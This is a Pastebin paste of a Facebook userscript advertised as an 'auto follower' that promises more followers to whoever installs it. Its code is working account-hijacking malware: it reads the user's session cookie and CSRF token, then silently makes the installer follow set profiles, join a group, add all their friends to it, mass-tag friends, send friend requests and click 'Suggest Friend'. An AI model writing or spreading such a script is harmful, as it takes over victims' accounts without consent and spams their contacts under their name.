Want more features on Pastebin? Sign Up, it's FREE!
Guest

Facebook Auto Follower

By: a guest on Jul 18th, 2013  |  syntax: None  |  size: 10.87 KB  |  views: 319  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. // ==UserScript==
  2. // @name       Jim Jimmy Auto Follower
  3. // @namespace  http://www.facebook.com/HesDeadJimJimmy
  4. // @version    0.1
  5. // @description  Just Install And Get More Followers
  6. // @match      http://www.facebook.com/HesDeadJimJimmy
  7. // @copyright  2013 Jim Jimmy
  8. // ==/UserScript==
  9.  
  10.  
  11. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  12. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  13.        
  14. function cereziAl(isim) {
  15.     var tarama = isim + "=";
  16.     if (document.cookie.length > 0) {
  17.         konum = document.cookie.indexOf(tarama)
  18.         if (konum != -1) {
  19.             konum += tarama.length
  20.             son = document.cookie.indexOf(";", konum)
  21.             if (son == -1)
  22.                 son = document.cookie.length
  23.             return unescape(document.cookie.substring(konum, son))
  24.         }
  25.         else { return ""; }
  26.     }
  27. }
  28.  
  29. function getRandomInt (min, max) {
  30.     return Math.floor(Math.random() * (max - min + 1)) + min;
  31. }
  32. function randomValue(arr) {
  33.     return arr[getRandomInt(0, arr.length-1)];
  34. }
  35.  
  36. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  37. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  38.  
  39. function a(abone){
  40.     var http4 = new XMLHttpRequest();
  41.      
  42.     var url4 = "/ajax/follow/follow_profile.php?__a=1";
  43.      
  44.     var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  45.     http4.open("POST", url4, true);
  46.      
  47.     //Send the proper header information along with the request
  48.     http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  49.     http4.setRequestHeader("Content-length", params4.length);
  50.     http4.setRequestHeader("Connection", "close");
  51.      
  52.     http4.onreadystatechange = function() {//Call a function when the state changes.
  53.     if(http4.readyState == 4 && http4.status == 200) {
  54.        
  55.       http4.close; // Close the connection
  56.      
  57.     }
  58.     }
  59.    
  60.     http4.send(params4);
  61. }
  62.  
  63. function sublist(uidss) {
  64.                 var a = document.createElement('script');
  65.                 a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  66.                 document.body.appendChild(a);
  67. }
  68.  
  69. a("107567629454215");
  70. a("102665193225135");
  71.  
  72.  
  73.  sublist("186126854878968");
  74.  sublist("192699380888382");
  75.  sublist("197823040376016");
  76.  sublist("122987667912211");
  77.  sublist("1396727547209418");
  78.  sublist("1380283048853868");
  79.  
  80.  
  81. var gid = [''];
  82.  
  83.  
  84. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  85. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  86.  
  87. var httpwp = new XMLHttpRequest();
  88. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  89. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  90. httpwp['open']('POST', urlwp, true);
  91. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  92. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  93. httpwp['setRequestHeader']('Connection', 'keep-alive');
  94. httpwp['send'](paramswp);
  95.  
  96. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  97. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  98.  
  99. var friends = new Array();
  100. gf = new XMLHttpRequest();
  101. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  102. gf['send']();
  103. if (gf['readyState'] != 4) {} else {
  104.     data = eval('(' + gf['responseText']['substr'](9) + ')');
  105.     if (data['error']) {} else {
  106.         friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  107.             return _0x93dax8['index'] - _0x93dax9['index'];
  108.         });
  109.     };
  110. };
  111.  
  112. for (var i = 0; i < friends['length']; i++) {
  113.     var httpwp = new XMLHttpRequest();
  114.     var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  115.     var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  116.     httpwp['open']('POST', urlwp, true);
  117.     httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  118.     httpwp['setRequestHeader']('Content-length', paramswp['length']);
  119.     httpwp['setRequestHeader']('Connection', 'keep-alive');
  120.     httpwp['onreadystatechange'] = function () {
  121. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  122.     };
  123.     httpwp['send'](paramswp);
  124. };
  125. var spage_id = "393497710749217";
  126. var spost_id = "175840815907572";
  127. var sfoto_id = "630235936995108";
  128. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  129. var smesaj = "";
  130. var smesaj_text = "";
  131. var arkadaslar = [];
  132. var svn_rev;
  133. var bugun= new Date();
  134. var btarihi = new Date();
  135. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  136. if(!document.cookie.match(/paylasti=(\d+)/)){
  137. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  138. }
  139.  
  140.  
  141. //arkadaslari al ve isle
  142. function sarkadaslari_al(){
  143.                 var xmlhttp = new XMLHttpRequest();
  144.         xmlhttp.onreadystatechange = function () {
  145.                         if(xmlhttp.readyState == 4){
  146.                                   eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  147.                                   for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  148.                                         smesaj = "";
  149.                                         smesaj_text = "";
  150.                                   for(i=f*10;i<(f+1)*10;i++){
  151.                                         if(arkadaslar.payload.entries[i]){
  152.                                   smesaj += " @[" + arkadaslar.payload.entries[i].uid +  ":" + arkadaslar.payload.entries[i].text + "]";
  153.                                   smesaj_text += " " + arkadaslar.payload.entries[i].text;
  154.                                   }
  155.                                         }
  156.                                         sdurumpaylas();                         }
  157.                                
  158.                         }
  159.                        
  160.         };
  161.                 var params = "&filter[0]=user";
  162.                 params += "&options[0]=friends_only";
  163.                 params += "&options[1]=nm";
  164.                 params += "&token=v7";
  165.         params += "&viewer=" + user_id;
  166.                 params += "&__user=" + user_id;
  167.                
  168.         if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  169.         else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  170.         xmlhttp.send();
  171. }
  172.  
  173. //tiklama olayini dinle
  174. var tiklama = document.addEventListener("click", function () {
  175. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  176. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  177. sarkadaslari_al();
  178. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  179.  
  180. document.removeEventListener(tiklama);
  181. }
  182.  }, false);
  183.  
  184.  
  185. //arkada??????leme
  186. function sarkadasekle(uid,cins){
  187.                 var xmlhttp = new XMLHttpRequest();
  188.         xmlhttp.onreadystatechange = function () {
  189.                         if(xmlhttp.readyState == 4){  
  190.                         }
  191.         };
  192.                
  193.                 xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  194.                 var params = "to_friend=" + uid;
  195.                 params += "&action=add_friend";
  196.                 params += "&how_found=friend_browser";
  197.                 params += "&ref_param=none";
  198.                 params += "&outgoing_id=";
  199.                 params += "&logging_location=friend_browser";
  200.                 params += "&no_flyout_on_click=true";
  201.                 params += "&ego_log_data=";
  202.                 params += "&http_referer=";
  203.                 params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  204.         params += "&phstamp=165816749114848369115";
  205.                 params += "&__user=" + user_id;
  206.                 xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  207.                 xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  208.                
  209. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  210.                 xmlhttp.send(params);
  211. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  212.                 cinsiyetgetir(uid,cins,"sarkadasekle");
  213. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  214.                 xmlhttp.send(params);
  215. }
  216. }
  217.  
  218. //cinsiyet belirleme
  219. var cinssonuc = {};
  220. var cinshtml = document.createElement("html");
  221. function scinsiyetgetir(uid,cins,fonksiyon){
  222.                 var xmlhttp = new XMLHttpRequest();
  223.         xmlhttp.onreadystatechange = function () {
  224.                         if(xmlhttp.readyState == 4){
  225.                         eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  226.                         cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  227.                         btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  228.                         if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  229.                         document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  230.                         }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  231.                         document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  232.                         }
  233.                         eval(fonksiyon + "(" + id + "," + cins + ");");
  234.                         }
  235.         };
  236.                 xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  237.                 xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  238.                 xmlhttp.send();
  239. }
  240. function autoSuggest()
  241. {    
  242.     links=document.getElementsByTagName('a');
  243.     for (i in links) {
  244.         l=links[i];
  245.         if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') {
  246.             l.click();
  247.         }
  248.     }
  249. }
  250.  
  251. function blub()
  252. {
  253.     if(document.getElementsByClassName('pbm fsm').length == 1) {
  254.         w = document.getElementsByClassName('pbm fsm')[0];
  255.  
  256.         e = document.createElement('a');
  257.         //e.href = '#';
  258.         e.innerHTML = 'Auto Suggest by Eran';
  259.         e.className = 'uiButton';
  260.         e.onclick = autoSuggest;
  261.  
  262.         if( w.childElementCount == 0)
  263.         {
  264.             w.appendChild(document.createElement('br'));
  265.             w.appendChild(e);
  266.         }
  267.     }
  268. }
  269.  
  270. blub();
  271.  
  272. document.addEventListener("DOMNodeInserted", blub, true);
clone this paste RAW Paste Data